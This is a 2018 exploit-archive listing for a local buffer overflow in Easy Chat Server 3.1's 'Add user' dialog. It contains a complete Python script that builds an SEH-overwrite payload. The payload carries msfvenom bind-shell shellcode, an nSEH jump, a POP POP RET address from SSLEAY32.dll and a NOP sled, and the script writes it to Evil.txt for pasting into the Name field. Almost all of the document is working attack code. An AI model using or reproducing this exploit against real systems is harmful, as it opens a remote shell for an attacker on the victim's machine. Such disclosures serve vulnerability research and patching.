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Easy Chat Server 3.1 Add User Local Buffer Overflow

Easy Chat Server 3.1 Add User Local Buffer Overflow
Posted Jun 15, 2018
Authored by Hashim Jawad

Easy Chat Server version 3.1 add user local buffer overflow exploit.

tags | exploit, overflow, local
MD5 | bcabdbd0527bd278db11840e1c948973

Easy Chat Server 3.1 Add User Local Buffer Overflow

Change Mirror Download
#!/usr/bin/env python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title : Easy Chat Server 3.1 - 'Add user' Local Buffer Overflow #
# Exploit Author : Hashim Jawad - @ihack4falafel #
# Vendor Homepage : http://www.echatserver.com/index.htm #
# Vulnerable Software: http://www.echatserver.com/ecssetup.exe #
# Tested on : Windows 7 Enterprise SP1 (x64) #
# Steps to reproduce : paste contents of Evil.txt in 'Name:' field under Add user and click OK #
#----------------------------------------------------------------------------------------------------------#

# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d' -e x86/alpha_mixed -f python -v shellcode
# Payload size: 718 bytes
shellcode = ""
shellcode += "\x89\xe3\xda\xd3\xd9\x73\xf4\x5e\x56\x59\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
shellcode += "\x79\x6c\x6a\x48\x6b\x32\x53\x30\x73\x30\x77\x70"
shellcode += "\x43\x50\x4e\x69\x7a\x45\x36\x51\x79\x50\x61\x74"
shellcode += "\x4e\x6b\x52\x70\x76\x50\x6e\x6b\x62\x72\x44\x4c"
shellcode += "\x4c\x4b\x51\x42\x72\x34\x4c\x4b\x71\x62\x66\x48"
shellcode += "\x76\x6f\x4d\x67\x63\x7a\x45\x76\x50\x31\x4b\x4f"
shellcode += "\x6c\x6c\x65\x6c\x75\x31\x63\x4c\x77\x72\x44\x6c"
shellcode += "\x35\x70\x4a\x61\x68\x4f\x74\x4d\x63\x31\x5a\x67"
shellcode += "\x69\x72\x5a\x52\x76\x32\x46\x37\x6e\x6b\x52\x72"
shellcode += "\x44\x50\x6e\x6b\x30\x4a\x75\x6c\x6e\x6b\x62\x6c"
shellcode += "\x66\x71\x73\x48\x68\x63\x77\x38\x67\x71\x58\x51"
shellcode += "\x66\x31\x6c\x4b\x31\x49\x31\x30\x46\x61\x59\x43"
shellcode += "\x6c\x4b\x37\x39\x56\x78\x7a\x43\x45\x6a\x50\x49"
shellcode += "\x4c\x4b\x74\x74\x6e\x6b\x53\x31\x6a\x76\x66\x51"
shellcode += "\x69\x6f\x6e\x4c\x59\x51\x4a\x6f\x44\x4d\x76\x61"
shellcode += "\x6a\x67\x64\x78\x6b\x50\x70\x75\x4a\x56\x44\x43"
shellcode += "\x63\x4d\x48\x78\x77\x4b\x51\x6d\x67\x54\x52\x55"
shellcode += "\x59\x74\x70\x58\x4e\x6b\x66\x38\x65\x74\x55\x51"
shellcode += "\x68\x53\x63\x56\x6e\x6b\x56\x6c\x70\x4b\x4e\x6b"
shellcode += "\x52\x78\x45\x4c\x35\x51\x38\x53\x6c\x4b\x56\x64"
shellcode += "\x6c\x4b\x67\x71\x4a\x70\x6f\x79\x73\x74\x71\x34"
shellcode += "\x45\x74\x73\x6b\x43\x6b\x31\x71\x73\x69\x51\x4a"
shellcode += "\x70\x51\x59\x6f\x4d\x30\x51\x4f\x73\x6f\x33\x6a"
shellcode += "\x4e\x6b\x36\x72\x58\x6b\x6c\x4d\x33\x6d\x31\x78"
shellcode += "\x70\x33\x57\x42\x47\x70\x43\x30\x35\x38\x30\x77"
shellcode += "\x33\x43\x46\x52\x53\x6f\x36\x34\x61\x78\x42\x6c"
shellcode += "\x63\x47\x54\x66\x36\x67\x59\x6f\x58\x55\x6d\x68"
shellcode += "\x4e\x70\x53\x31\x55\x50\x77\x70\x35\x79\x7a\x64"
shellcode += "\x50\x54\x30\x50\x65\x38\x55\x79\x6b\x30\x62\x4b"
shellcode += "\x53\x30\x39\x6f\x5a\x75\x43\x5a\x33\x38\x66\x39"
shellcode += "\x52\x70\x79\x72\x59\x6d\x51\x50\x76\x30\x51\x50"
shellcode += "\x66\x30\x35\x38\x79\x7a\x66\x6f\x69\x4f\x59\x70"
shellcode += "\x39\x6f\x79\x45\x6f\x67\x35\x38\x66\x62\x63\x30"
shellcode += "\x54\x51\x71\x4c\x4d\x59\x49\x76\x52\x4a\x56\x70"
shellcode += "\x66\x36\x76\x37\x33\x58\x78\x42\x6b\x6b\x56\x57"
shellcode += "\x55\x37\x69\x6f\x79\x45\x31\x47\x33\x58\x68\x37"
shellcode += "\x79\x79\x34\x78\x4b\x4f\x4b\x4f\x49\x45\x46\x37"
shellcode += "\x35\x38\x61\x64\x38\x6c\x57\x4b\x69\x71\x69\x6f"
shellcode += "\x4b\x65\x42\x77\x4f\x67\x33\x58\x44\x35\x32\x4e"
shellcode += "\x32\x6d\x55\x31\x59\x6f\x78\x55\x65\x38\x30\x63"
shellcode += "\x52\x4d\x42\x44\x57\x70\x4b\x39\x79\x73\x63\x67"
shellcode += "\x33\x67\x30\x57\x36\x51\x59\x66\x73\x5a\x46\x72"
shellcode += "\x43\x69\x50\x56\x49\x72\x79\x6d\x51\x76\x58\x47"
shellcode += "\x33\x74\x67\x54\x47\x4c\x76\x61\x66\x61\x4c\x4d"
shellcode += "\x57\x34\x54\x64\x62\x30\x78\x46\x77\x70\x33\x74"
shellcode += "\x70\x54\x42\x70\x70\x56\x73\x66\x30\x56\x42\x66"
shellcode += "\x32\x76\x50\x4e\x61\x46\x63\x66\x52\x73\x42\x76"
shellcode += "\x61\x78\x63\x49\x78\x4c\x75\x6f\x4e\x66\x6b\x4f"
shellcode += "\x4e\x35\x4f\x79\x69\x70\x52\x6e\x70\x56\x43\x76"
shellcode += "\x69\x6f\x64\x70\x35\x38\x75\x58\x6b\x37\x45\x4d"
shellcode += "\x33\x50\x69\x6f\x5a\x75\x6f\x4b\x7a\x50\x58\x35"
shellcode += "\x6d\x72\x33\x66\x71\x78\x6d\x76\x6f\x65\x4f\x4d"
shellcode += "\x6d\x4d\x69\x6f\x4b\x65\x35\x6c\x35\x56\x73\x4c"
shellcode += "\x64\x4a\x6d\x50\x6b\x4b\x69\x70\x70\x75\x67\x75"
shellcode += "\x6d\x6b\x77\x37\x36\x73\x42\x52\x32\x4f\x51\x7a"
shellcode += "\x77\x70\x32\x73\x39\x6f\x6b\x65\x41\x41"

buffer = '\xcc' * 217 # offset to nSEH
buffer += '\x75\x06\x74\x06' # nSEH | jump net
buffer += '\x21\x7f\x01\x10' # SEH | 0x10017f21 : pop esi # pop ecx # ret | [SSLEAY32.dll]
buffer += '\x90' * 10 # nop sled
buffer += shellcode # bind shell
buffer += '\xcc' * (5000-217-4-4-10-len(shellcode)) # junk

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except Exception as e:
print e

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